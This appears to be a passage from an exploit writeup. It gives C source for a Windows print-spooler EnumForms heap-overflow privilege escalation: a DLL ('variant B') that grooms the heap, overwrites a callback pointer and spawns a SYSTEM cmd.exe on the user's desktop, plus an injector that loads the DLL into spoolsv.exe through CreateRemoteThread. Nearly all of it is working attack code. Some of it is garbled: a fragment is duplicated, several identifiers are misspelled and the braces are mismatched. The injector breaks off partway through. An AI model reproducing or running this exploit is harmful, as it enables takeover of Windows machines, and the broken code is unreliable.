 LOG("\n [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!\n");
 LOG(" [!!!] Calling through corrupted pointer...\n\n");

 target->callback();

 LOG(" [!!!] SHELLCODE EXECUTED SUCCESSFULLY!\n");
 LOG(" [!!!] Check %s for proof.\n", PROOF_FILE);
 } else if (written_ptr != 0) {
 LOG("\n [*] Callback overwritten but does not match exactly.\n");
 LOG(" [*] Written: 0x%p, Expected: 0x%p\n",
 (void *)written_ptr, (void *)shellcode_addr);
 } else {
 LOG("\n [-] Callback not overwritten (still NULL)\n");
 LOG(" [*] Offset calculation may need adjustment\n");
 }
} __except(EXCEPTION_EXECUTE_HANDLER) {
 LOG(" EXCEPTION 0x%08X during callback check\n", GetExceptionCode());
}
LOG("[+] Step 7 complete\n");

done:
if (buffer) HeapFree(g_heap, 0, buffer);
for (i = 0; i < SPRAY_COUNT; i++) {
 if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
}
pDeleteForm(hPrinter, g_form_name);
__try { pClose(hPrinter); } __except(1) {}

if (g_shellcode) VirtualFree(g_shellcode, 0, MEM_RELEASE);

LOG("\n===== \n");
LOG(" EXPLOIT COMPLETE. spoolsv.exe PID=%u still running.\n", GetCurrentProcessId());
LOG("===== \n");
```

```
fclose(g_log);
g_log = NULL;
return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
(void)reserved;
if (reason == DLL_PROCESS_ATTACH) {
 DisableThreadLibraryCalls(hModule);
 CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
}
return TRUE;
}
```

The **variant B** of exploit follows below:

```
/*
* exploit_stage4_shell_clean.c -- EnumForms heap-overflow EoP, variant B (visible shell).
* Byte-for-byte the same as exploit_stage4_exec_clean.c except (1) it streams its staged
* narration live to the injector's console through a named pipe instead of a log file --
* so the whole sequence shows up in the same output as the injection -- and
* (2) shellcode_func's spawn tail: instead of a plain Session-0 CreateProcessW, it
* duplicates the SYSTEM token, retargets it to the active console session, and launches
* cmd.exe on the interactive desktop so you get a SYSTEM shell you can see and type in.
* Build: cl /W4 /O2 /LD exploit_stage4_shell_clean.c /Fe:payload_shell.dll
* Run: inject_enumforms.exe payload_shell.dll (admin + SeDebug)
* Output: the injector console (staged stream, relayed live from spoolsv Session 0)
* C:\Windows\Temp\EXPLOITED.txt (SYSTEM token proof)
* C:\Windows\Temp\enumforms_inject_log.txt (fallback log if loaded directly)
*/
```

```
#include <windows.h>
#include <sddl.h>
#include <wtsapi32.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")

#define PIPE_NAME L"\\\\.\\pipe\\ers11_enumforms"
#define LOG_FILE "C:\\Windows\\Temp\\enumforms_inject_log.txt"
#define PROOF_FILE "C:\\Windows\\Temp\\EXPLOITED.txt"

static HANDLE g_pipe = INVALID_HANDLE_VALUE;
static FILE *g_log = NULL;

static void LOG_RAW(const char *s, int len) {
 if (g_pipe != INVALID_HANDLE_VALUE) {
 DWORD wr = 0;
 WriteFile(g_pipe, s, (DWORD)len, &wr, NULL);
 } else if (g_log) {
 fwrite(s, 1, (size_t)len, g_log);
 fflush(g_log);
 }
}

static void LOG(const char *fmt, ...) {
 char line[1024];
 int n;
 va_list ap;
 va_start(ap, fmt);
 n = _vsprintf_s(line, sizeof(line), _TRUNCATE, fmt, ap);
 va_end(ap);
 if (n < 0) n = (int)strlen(line);
 LOG_RAW(line, n);
}
```

```
static void STEP(const char *title) {
 LOG("\n=====\\n");
 LOG(" %s\\n", title);
 LOG("=====\\n");
}

static void close_log(void) {
 if (g_pipe != INVALID_HANDLE_VALUE) { CloseHandle(g_pipe); g_pipe = INVALID_HANDLE_VALUE; }
 if (g_log) { fclose(g_log); g_log = NULL; }
}

typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormSW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);
typedef BOOL (WINAPI *PFN_AddFormW)(HANDLE, DWORD, LPBYTE);
typedef BOOL (WINAPI *PFN_DeleteFormW)(HANDLE, LPWSTR);

typedef void (*PFN_CALLBACK)(void);

typedef struct _SPRAY_OBJ {
 PFN_CALLBACK callback;
 DWORD marker;
 DWORD index;
 BYTE padding[1];
} SPRAY_OBJ;

#define SPRAY_COUNT 300
#define HOLE_INTERVAL 4

static SPRAY_OBJ *g_spray[SPRAY_COUNT];
static HANDLE g_heap;
static PVOID g_shellcode = NULL;
static wchar_t g_form_name[128];

static DWORD pick_interactive_session(void) {
 DWORD sid = 0xFFFFFFFF;
 HMODULE h = LoadLibraryW(L"wsapi32.dll");
 if (h) {
 typedef BOOL (WINAPI *PFN_Enum)(HANDLE, DWORD, DWORD, PWTS_SESSION_INFOW *, DWORD *);
 typedef void (WINAPI *PFN_Free)(PVOID);
 PFN_Enum pEnum = (PFN_Enum)GetProcAddress(h, "WTSEnumerateSessionsW");
 PFN_Free pFree = (PFN_Free)GetProcAddress(h, "WTSFreeMemory");
 if (pEnum && pFree) {
 PWTS_SESSION_INFOW list = NULL; DWORD count = 0;
 if (pEnum((HANDLE)NULL, 0, 1, &list, &count)) {
 for (DWORD k = 0; k < count; k++)
 if (list[k].State == WTSActive) { sid = list[k].SessionId; break; }
 pFree(list);
 }
 }
 FreeLibrary(h);
 }
 if (sid == 0xFFFFFFFF) sid = WTSGetActiveConsoleSessionId();
 return sid;
}

static void __cdecl shellcode_func(void) {
 HANDLE hToken = NULL, hFile; DWORD written; char buf[4096]; int pos = 0;
 pos += sprintf_s(buf + pos, sizeof(buf) - pos,
 "=====\\r\\n"
 " EXPLOIT PROOF: Code Execution as SYSTEM\\r\\n"
 " spoolsv.exe EnumForms Heap Overflow (CWE-122 / CWE-787)\\r\\n"
 "=====\\r\\n\\r\\n");
 pos += sprintf_s(buf + pos, sizeof(buf) - pos,
 "Process: spoolsv.exe (PID %u)\\r\\n", GetCurrentProcessId());
 if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
 BYTE tu[256]; DWORD rl = 0;
```

```

 if (GetTokenInformation(hToken, TokenUser, tu, sizeof(tu), &rl)) {
 WCHAR name[128] = {0}, dom[128] = {0}; DWORD nl = 128, dl = 128; SID_NAME_USE use;
 if (LookupAccountSidW(NULL, ((TOKEN_USER *)tu)->User.Sid, name, &nl, dom, &dl, &use))
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Token User: %S\\%S\\r\\n", dom,
name);
 LPWSTR sid = NULL;
 if (ConvertSidToStringSidW(((TOKEN_USER *)tu)->User.Sid, &sid)) {
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Token SID: %S\\r\\n", sid);
LocalFree(sid);
 }
 }
 BYTE tp[2048];
 if (GetTokenInformation(hToken, TokenPrivileges, tp, sizeof(tp), &rl)) {
 TOKEN_PRIVILEGES *pv = (TOKEN_PRIVILEGES *)tp;
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Token Privileges: %u\\r\\n", pv-
>PrivilegeCount);
 for (DWORD k = 0; k < pv->PrivilegeCount && k < 30; k++) {
 WCHAR pn[128] = {0}; DWORD pl = 128;
 if (LookupPrivilegeNameW(NULL, &pv->Privileges[k].Luid, pn, &pl)) {
 DWORD a = pv->Privileges[k].Attributes;
 const char *st = (a & SE_PRIVILEGE_ENABLED) ? "Enabled" :
 (a & SE_PRIVILEGE_ENABLED_BY_DEFAULT) ? "Default" :
"Disabled";
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, " %S [%s]\\r\\n", pn, st);
 }
 }
 }
 BYTE ti[128];
 if (GetTokenInformation(hToken, TokenIntegrityLevel, ti, sizeof(ti), &rl)) {
 TOKEN_MANDATORY_LABEL *lbl = (TOKEN_MANDATORY_LABEL *)ti;
 DWORD *sa = GetSidSubAuthority(lbl->Label.Sid,
 (DWORD)(UCHAR)(*GetSidSubAuthorityCount(lbl->Label.Sid) - 1));
 const char *lv = (*sa >= 0x4000) ? "SYSTEM" : (*sa >= 0x3000) ? "High" :
 (*sa >= 0x2000) ? "Medium" : "Low";
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Integrity Level: %s (0x%X)\\r\\n", lv,
*sa);
 }
 CloseHandle(hToken);
}

pos += sprintf_s(buf + pos, sizeof(buf) - pos, "\\r\\n[*] Spawning SYSTEM shell in user
session...\\r\\n");
HANDLE hSysToken = NULL, hNewToken = NULL; BOOL shellOk = FALSE;
STARTUPINFO si = {0}; si.cb = sizeof si; si.lpDesktop = L"WinSta0\\Default";
PROCESS_INFORMATION pi = {0};
WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
swprintf_s(cmd, MAX_PATH, L"%s\\cmd.exe", sysDir);
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hSysToken)) {
 if (DuplicateTokenEx(hSysToken, TOKEN_ALL_ACCESS, NULL,
 SecurityImpersonation, TokenPrimary, &hNewToken)) {
 DWORD sessionId = pick_interactive_session();
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "[*] Target session: %lu\\r\\n",
sessionId);
 SetTokenInformation(hNewToken, TokenSessionId, &sessionId, sizeof(DWORD));
 shellOk = CreateProcessAsUserW(hNewToken, NULL, cmd, NULL, NULL, FALSE,
 CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
 }
 CloseHandle(hSysToken);
}
if (shellOk) {
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "[+] SYSTEM shell created! PID: %lu\\r\\n",
pi.dwProcessId);
 BYTE stu[256]; DWORD srl = 0; LPWSTR ssid = NULL;
 if (GetTokenInformation(hNewToken, TokenUser, stu, sizeof(stu), &srl) &&
 ConvertSidToStringSidW(((TOKEN_USER *)stu)->User.Sid, &ssid)) {
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "[+] Shell token SID: %S\\r\\n", ssid);
LocalFree(ssid);
 }
}

```

```
 }
 CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
} else {
 pos += sprintf_s(buf + pos, sizeof(buf) - pos,
 "[-] CreateProcessAsUserW failed: %lu (need an active console session to target)\r\n"
 "[*] The token proof above still confirms SYSTEM execution inside spoolsv.\r\n",
 GetLastError());
}
if (hNewToken) CloseHandle(hNewToken);

LOG_RAW(buf, pos);
hFile = CreateFileA(PROOF_FILE, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, buf, pos, &written, NULL);
CloseHandle(hFile); }
}

static void encode_address_as_form_name(UINT_PTR addr, wchar_t *name, int max_len) {
 BYTE *bytes = (BYTE *)&addr; int i, wchar_count = 0;
 name[0] = 0;
 for (i = 0; i < 8; i += 2) {
 wchar_t wc = (wchar_t)(bytes[i] | (bytes[i+1] << 8));
 if (wc == 0) break;
 name[wchar_count++] = wc;
 if (wchar_count >= max_len - 1) break;
 }
 name[wchar_count] = 0;
}

static DWORD WINAPI WorkerThread(LPVOID param) {
 (void)param;
 HMODULE hSpoolss;
 PFN_OpenPrinterW pOpen; PFN_EnumFormsw pEnum; PFN_ClosePrinter pClose;
 PFN_AddFormW pAddForm; PFN_DeleteFormW pDeleteForm;
 HANDLE hPrinter = NULL; DWORD needed = 0, returned = 0; int i;
 BYTE *buffer = NULL;

 Sleep(1000);

 g_pipe = CreateFileW(PIPE_NAME, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
 if (g_pipe == INVALID_HANDLE_VALUE)
 g_log = fopen(LOG_FILE, "w");
 if (g_pipe == INVALID_HANDLE_VALUE && !g_log) return 1;

 LOG("=====\n");
 LOG(" EXPLOIT STAGE 4: Code Execution via Heap Overflow\n");
 LOG(" PID: %u (spoolsv.exe, NT AUTHORITY\\SYSTEM)\n", GetCurrentProcessId());
 LOG("=====\n");

 STEP("STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS");
 LOG("[*] Step 0: Preparing shellcode function\n");
 UINT_PTR shellcode_addr = (UINT_PTR)&shellcode_func;
 LOG(" shellcode_func at: 0x%p\n", (void *)shellcode_addr);

 BYTE *addr_bytes = (BYTE *)&shellcode_addr;
 LOG(" Address bytes: ");
 for (i = 0; i < 8; i++) LOG("%02X ", addr_bytes[i]);
 LOG("\n");

 BOOL has_null_wchar = FALSE;
 for (i = 0; i < 6; i += 2) {
 wchar_t wc = (wchar_t)(addr_bytes[i] | (addr_bytes[i+1] << 8));
 if (wc == 0) { has_null_wchar = TRUE; break; }
 }

 if (has_null_wchar) {
 LOG(" [!] Address has a null wchar in the low 6 bytes\n");
 }
}
```

```
LOG(" [*] Allocating a null-free executable page for a trampoline...\n");
for (UINT_PTR try_addr = 0x10010000; try_addr < 0x7FFF0000; try_addr += 0x10000) {
 BYTE *tb = (BYTE *)&try_addr;
 wchar_t w0 = (wchar_t)(tb[0] | (tb[1] << 8));
 wchar_t w1 = (wchar_t)(tb[2] | (tb[3] << 8));
 if (w0 != 0 && w1 != 0) {
 g_shellcode = VirtualAlloc((PVOID)try_addr, 4096,
 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 if (g_shellcode) {
 LOG(" [+] Shellcode at: 0x%p (null-free)\n", g_shellcode);
 BYTE *code = (BYTE *)g_shellcode;
 code[0] = 0x48; code[1] = 0xB8;
 *(UINT_PTR *) (code + 2) = shellcode_addr;
 code[10] = 0xFF; code[11] = 0xE0;
 shellcode_addr = (UINT_PTR)g_shellcode;
 break;
 }
 }
}
if (!g_shellcode) {
 LOG(" [-] Cannot allocate null-free address\n");
 LOG(" [*] Falling back to direct address\n");
}
} else {
 LOG(" [+] Address is null-free; encoding it directly (no trampoline)\n");
}

encode_address_as_form_name(shellcode_addr, g_form_name, 128);
LOG(" Form name encoding: L\"");
for (i = 0; g_form_name[i]; i++) LOG("\\x%04X", g_form_name[i]);
LOG("\\\" + null\n");

UINT_PTR decoded = 0;
BYTE *dec_bytes = (BYTE *)&decoded;
for (i = 0; g_form_name[i] && i < 4; i++) {
 dec_bytes[i*2] = (BYTE)(g_form_name[i] & 0xFF);
 dec_bytes[i*2+1] = (BYTE)(g_form_name[i] >> 8);
}
LOG(" Decoded address: 0x%p %s\n", (void *)decoded,
 decoded == shellcode_addr ? "(MATCH!)" : "(MISMATCH!)");
LOG("[+] Step 0 complete: callback value ready\n");

STEP("STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER");
hSpoolss = GetModuleHandleW(L"spoolss.dll");
if (!hSpoolss) hSpoolss = LoadLibraryW(L"spoolss.dll");
LOG("[*] spoolss.dll at 0x%p\n", (void *)hSpoolss);
pOpen = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, "OpenPrinterW");
pEnum = (PFN_EnumFormsW)GetProcAddress(hSpoolss, "EnumFormsW");
pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, "ClosePrinter");
pAddForm = (PFN_AddFormW)GetProcAddress(hSpoolss, "AddFormW");
pDeleteForm = (PFN_DeleteFormW)GetProcAddress(hSpoolss, "DeleteFormW");
if (!pOpen || !pEnum || !pClose || !pAddForm || !pDeleteForm) {
 LOG("[-] Could not resolve one or more router exports\n");
 close_log(); return 1;
}
LOG(" [+] OpenPrinterW/EnumFormsW/ClosePrinter/AddFormW/DeleteFormW resolved\n");

__try {
 if (!pOpen(NULL, &hPrinter, NULL)) {
 LOG("[-] OpenPrinter: %u\n", GetLastError());
 close_log(); return 1;
 }
} __except(1) {
 LOG("[-] OpenPrinter exception\n");
 close_log(); return 1;
}
LOG(" [+] Printer handle: 0x%p\n", (void *)hPrinter);
```

```
LOG("[+] Step 1 complete: router ready, local print server opened\n");

STEP("STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS");
LOG("\n[*] Step 2: Adding form with encoded address name\n");
{
 typedef struct {
 DWORD Flags; LPWSTR pName; SIZEL Size; RECTL ImageableArea;
 } MY_FORM_INFO_1;

 MY_FORM_INFO_1 fi = {0};
 fi.Flags = 0;
 fi.pName = g_form_name;
 fi.Size.cx = 215900;
 fi.Size.cy = 279400;
 fi.ImageableArea.right = 215900;
 fi.ImageableArea.bottom = 279400;

 pDeleteForm(hPrinter, g_form_name);
 if (pAddForm(hPrinter, 1, (LPBYTE)&fi))
 LOG(" [+] Form added\n");
 else
 LOG(" [-] AddForm: %u\n", GetLastError());
}
LOG("[+] Step 2 complete: attacker bytes are now in the form store\n");

STEP("STEP 3: MEASURE LAYOUT (needed, custom_off)");
pEnum(hPrinter, 1, NULL, 0, &needed, &returned);
LOG("\n[*] Step 3: needed=%u, forms=%u\n", needed, returned);

DWORD custom_off = 0;
{
 BYTE *tmp = (BYTE *)HeapAlloc(GetProcessHeap(), 0, needed);
 if (tmp) {
 DWORD n = 0, r = 0;
 __try { pEnum(hPrinter, 1, tmp, needed, &n, &r); } __except(1) {}
 for (i = 0; i < (int)r; i++) {
 wchar_t *name = *(wchar_t **)(tmp + i*40 + 8);
 if (name && wcscmp(name, g_form_name) == 0) {
 custom_off = (DWORD)((BYTE *)name - tmp);
 LOG(" Custom form at index %d, string at buf+0x%X\n",
 i, custom_off);
 break;
 }
 }
 HeapFree(GetProcessHeap(), 0, tmp);
 }
}

if (custom_off == 0) {
 LOG("[-] Cannot find custom form string\n");
 goto done;
}
LOG("[+] Step 3 complete: our name packs at buf+0x%X in an honest buffer\n", custom_off);

STEP("STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES");
LOG("\n[*] Step 4: Spraying callback objects (size=0x%X)\n", needed);
g_heap = GetProcessHeap();

for (i = 0; i < SPRAY_COUNT; i++) {
 g_spray[i] = (SPRAY_OBJ *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
 if (g_spray[i]) {
 g_spray[i]->callback = NULL;
 g_spray[i]->marker = 0xCAFEBABE;
 g_spray[i]->index = i;
 }
}
LOG(" [+] Sprayed %d SPRAY_OBJ blocks (marker 0xCAFEBABE)\n", SPRAY_COUNT);
```

```
for (i = HOLE_INTERVAL; i < SPRAY_COUNT; i += HOLE_INTERVAL) {
 if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
}
LOG(" [+] Freed every %d-th block to open holes\n", HOLE_INTERVAL);
LOG("[+] Step 4 complete: heap groomed\n");

STEP("STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR");
buffer = (BYTE *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
LOG(" buffer at %p\n", buffer);

SPRAY_OBJ *target = NULL;
int tidx = -1;
LONGLONG min_d = 0x7FFFFFFF;
for (i = 0; i < SPRAY_COUNT; i++) {
 if (g_spray[i]) {
 LONGLONG d = (LONGLONG)g_spray[i] - (LONGLONG)buffer;
 if (d > 0 && d < min_d) { min_d = d; tidx = i; target = g_spray[i]; }
 }
}

if (!target) { LOG("[-] No adjacent target\n"); goto done; }

DWORD delta = (DWORD)min_d;
LOG(" target spray[%d] at %p (delta=0x%X)\n", tidx, target, delta);
LOG("[+] Step 5 complete: victim dropped next to spray[%d]\n", tidx);

STEP("STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)");
DWORD shift = delta - custom_off;
DWORD cbBuf = needed + shift;
LOG("\n[*] Step 6: Precision overflow\n");
LOG(" custom_off=0x%X, delta=0x%X, shift=0x%X, cbBuf=0x%X\n",
 custom_off, delta, shift, cbBuf);

__try {
 DWORD n = 0, r = 0;
 pEnum(hPrinter, 1, buffer, cbBuf, &n, &r);
 LOG(" Overflow triggered: ret=%u\n", r);
} __except(EXCEPTION_EXECUTE_HANDLER) {
 LOG(" EXCEPTION during overflow\n");
}
LOG("[+] Step 6 complete: packed name deposited at the neighbor\n");

STEP("STEP 7: VERIFY THE CORRUPTION AND EXECUTE");
LOG("\n[*] Step 7: Checking target corruption\n");
__try {
 UINT_PTR written_ptr = (UINT_PTR)target->callback;
 LOG(" target->callback = 0x%p\n", (void *)written_ptr);
 LOG(" shellcode_addr = 0x%p\n", (void *)shellcode_addr);
 LOG(" target->marker = 0x%08X (was 0xCAFEBAFE)\n", target->marker);

 if (written_ptr == shellcode_addr) {
 LOG("\n [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!\n");
 LOG(" [!!!] Calling through corrupted pointer...\n\n");

 target->callback();

 LOG(" [!!!] SHELLCODE EXECUTED SUCCESSFULLY!\n");
 LOG(" [!!!] Check %s for proof.\n", PROOF_FILE);
 } else if (written_ptr != 0) {
 LOG("\n [*] Callback overwritten but does not match exactly.\n");
 LOG(" [*] Written: 0x%p, Expected: 0x%p\n",
 (void *)written_ptr, (void *)shellcode_addr);
 } else {
 LOG("\n [-] Callback not overwritten (still NULL)\n");
 LOG(" [*] Offset calculation may need adjustment\n");
 }
}
```

```
 }
} __except(EXCEPTION_EXECUTE_HANDLER) {
 LOG(" EXCEPTION 0x%08X during callback check\n", GetExceptionCode());
}
LOG("[+] Step 7 complete\n");

done:
if (buffer) HeapFree(g_heap, 0, buffer);
for (i = 0; i < SPRAY_COUNT; i++) {
 if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
}
pDeleteForm(hPrinter, g_form_name);
__try { pClose(hPrinter); } __except(1) {}

if (g_shellcode) VirtualFree(g_shellcode, 0, MEM_RELEASE);

LOG("\n=====\\n");
LOG(" EXPLOIT COMPLETE. spoolsv.exe PID=%u still running.\\n", GetCurrentProcessId());
LOG("=====\\n");

close_log();
return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
 (void)reserved;
 if (reason == DLL_PROCESS_ATTACH) {
 DisableThreadLibraryCalls(hModule);
 CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
 }
 return TRUE;
}
```

The injector code ([inject\\_enumforms.c](#)), which is pretty much equal to the previous one, follows below:

```
/*
 * inject_enumforms.c -- Injector: loads our DLL into spoolsv.exe and relays the
 * payload's staged output live into this console.
 *
 * 1. Finds spoolsv.exe PID
 * 2. Opens the process
 * 3. Allocates memory in spoolsv and writes the DLL path
 * 4. Creates a remote thread calling LoadLibraryW
 * 5. The DLL's DllMain starts the exploit worker, which connects back to the relay
 * pipe this injector created and streams every stage line here.
 *
 * spoolsv.exe runs in Session 0 with no console, so the payload cannot printf to this
 * window directly. The injector therefore stands up a one-instance named pipe
 * (\\.\pipe\ers11_enumforms) BEFORE injecting; the payload connects to it as a client
 * and writes its staged narration, which we read and print here -- so the whole
 * sequence appears in a single output, the way the DLL-injection articles show it,
 * with no separate log file to open afterwards.
 *
 * Compile: cl /W4 /O2 inject_enumforms.c advapi32.lib
 *
 * Must run as Administrator (needs SeDebugPrivilege)
 */

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")

#define PIPE_NAME L"\\\\.\\pipe\\ers11_enumforms"
```

```
static BOOL EnableDebugPrivilege(void) {
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 LUID luid;

 if (!OpenProcessToken(GetCurrentProcess(),
 TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
 return FALSE;

 if (!LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) {
 CloseHandle(hToken);
 return FALSE;
 }

 tp.PrivilegeCount = 1;
 tp.Privileges[0].Luid = luid;
 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

 BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
 CloseHandle(hToken);
 return ok && GetLastError() == ERROR_SUCCESS;
}

static DWORD FindProcessByName(const wchar_t *name) {
 HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (snap == INVALID_HANDLE_VALUE) return 0;

 PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
 DWORD pid = 0;

 if (Process32FirstW(snap, &pe)) {
 do {
 if (_wcsicmp(pe.szExeFile, name) == 0) {
 pid = pe.th32ProcessID;
 break;
 }
 } while (Process32NextW(snap, &pe));
 }

 CloseHandle(snap);
 return pid;
}

static BOOL RelayPayloadOutput(HANDLE hPipe, DWORD connectMs, DWORD overallMs) {
 HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
 OVERLAPPED ov;
 DWORD start;
 BOOL connected = FALSE;

 if (!hEvent) return FALSE;

 ZeroMemory(&ov, sizeof(ov));
 ov.hEvent = hEvent;
 if (ConnectNamedPipe(hPipe, &ov)) {
 connected = TRUE;
 } else {
 DWORD e = GetLastError();
 if (e == ERROR_PIPE_CONNECTED) {
 connected = TRUE;
 } else if (e == ERROR_IO_PENDING) {
 if (WaitForSingleObject(hEvent, connectMs) == WAIT_OBJECT_0) {
 DWORD junk = 0;
 connected = GetOverlappedResult(hPipe, &ov, &junk, FALSE);
 }
 }
 }
}
```

```
}
if (!connected) {
 CancelIo(hPipe);
 CloseHandle(hEvent);
 return FALSE;
}

printf("---- begin payload (spoolsv.exe, Session 0, NT AUTHORITY\\SYSTEM) ----\n");
start = GetTickCount();
for (;;) {
 char buf[4096];
 DWORD got = 0;
 BOOL ok;

 ResetEvent(hEvent);
 ZeroMemory(&ov, sizeof(ov));
 ov.hEvent = hEvent;
 ok = ReadFile(hPipe, buf, sizeof(buf), &got, &ov);
 if (!ok) {
 DWORD e = GetLastError();
 if (e == ERROR_IO_PENDING) {
 DWORD remain = overallMs - (GetTickCount() - start);
 if ((int)remain <= 0) { CancelIo(hPipe); break; }
 if (WaitForSingleObject(hEvent, remain) != WAIT_OBJECT_0) { CancelIo(hPipe); break; }
 }
 if (!GetOverlappedResult(hPipe, &ov, &got, FALSE)) break;
 } else {
 break;
 }
 if (got == 0) break;
 fwrite(buf, 1, got, stdout);
 fflush(stdout);
 if (GetTickCount() - start > overallMs) break;
}
printf("---- end payload ----\n");
CloseHandle(hEvent);
return TRUE;
}

int wmain(int argc, wchar_t *argv[]) {
 wchar_t dllPath[MAX_PATH];
 DWORD pid;
 HANDLE hProcess, hThread, hPipe;
 LPVOID remoteMem;
 SIZE_T written;
 DWORD exitCode;

 printf("=====\n");
 printf(" spoolsv.exe DLL Injector for YEnumForms Test\n");
 printf("=====\n\n");

 if (argc > 1) {
 wchar_t rawPath[MAX_PATH];
 wcsncpy_s(rawPath, MAX_PATH, argv[1]);
 if (!GetFullPathNameW(rawPath, MAX_PATH, dllPath, NULL)) {
 wcsncpy_s(dllPath, MAX_PATH, rawPath);
 }
 } else {
 GetModuleFileNameW(NULL, dllPath, MAX_PATH);
 wchar_t *lastSlash = wcsrchr(dllPath, L'\\');
 if (lastSlash) *(lastSlash + 1) = 0;
 wscat_s(dllPath, MAX_PATH, L"payload_enumforms.dll");
 }
}
```

```
printf("[*] DLL: %S\n", dllPath);

if (GetFileAttributesW(dllPath) == INVALID_FILE_ATTRIBUTES) {
 printf("[-] DLL not found: %S\n", dllPath);
 return 1;
}

if (!EnableDebugPrivilege()) {
 printf("[!] Warning: Could not enable SeDebugPrivilege\n");
} else {
 printf("[+] SeDebugPrivilege enabled\n");
}

hPipe = CreateNamedPipeW(PIPE_NAME,
 PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED,
 PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
 1, 0, 65536, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
 printf("[-] CreateNamedPipe failed: %u\n", GetLastError());
 return 1;
}
printf("[+] Relay pipe ready: %S\n", PIPE_NAME);

pid = FindProcessByName(L"spoolsv.exe");
if (!pid) {
 printf("[-] spoolsv.exe not found\n");
 CloseHandle(hPipe);
 return 1;
}
printf("[+] spoolsv.exe PID: %u\n", pid);

hProcess = OpenProcess(
 PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
 PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
 FALSE, pid);
if (!hProcess) {
 printf("[-] OpenProcess failed: %u\n", GetLastError());
 CloseHandle(hPipe);
 return 1;
}
printf("[+] Process opened\n");

SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
remoteMem = VirtualAllocEx(hProcess, NULL, pathSize,
 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteMem) {
 printf("[-] VirtualAllocEx failed: %u\n", GetLastError());
 CloseHandle(hProcess);
 CloseHandle(hPipe);
 return 1;
}

if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) {
 printf("[-] WriteProcessMemory failed: %u\n", GetLastError());
 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
 CloseHandle(hProcess);
 CloseHandle(hPipe);
 return 1;
}
printf("[+] DLL path written to spoolsv @ 0x%p\n", remoteMem);

LPVOID loadLibAddr = (LPVOID)GetProcAddress(
 GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
if (!loadLibAddr) {
 printf("[-] Cannot find LoadLibraryW\n");
 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
}
```

```
 CloseHandle(hProcess);
 CloseHandle(hPipe);
 return 1;
 }

 printf("[*] Injecting DLL into spoolsv.exe...\n");
 hThread = CreateRemoteThread(hProcess, NULL, 0,
 (LPTHREAD_START_ROUTINE)loadLibAddr,
 remoteMem, 0, NULL);

 if (!hThread) {
 printf("[-] CreateRemoteThread failed: %u\n", GetLastError());
 VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
 CloseHandle(hProcess);
 CloseHandle(hPipe);
 return 1;
 }

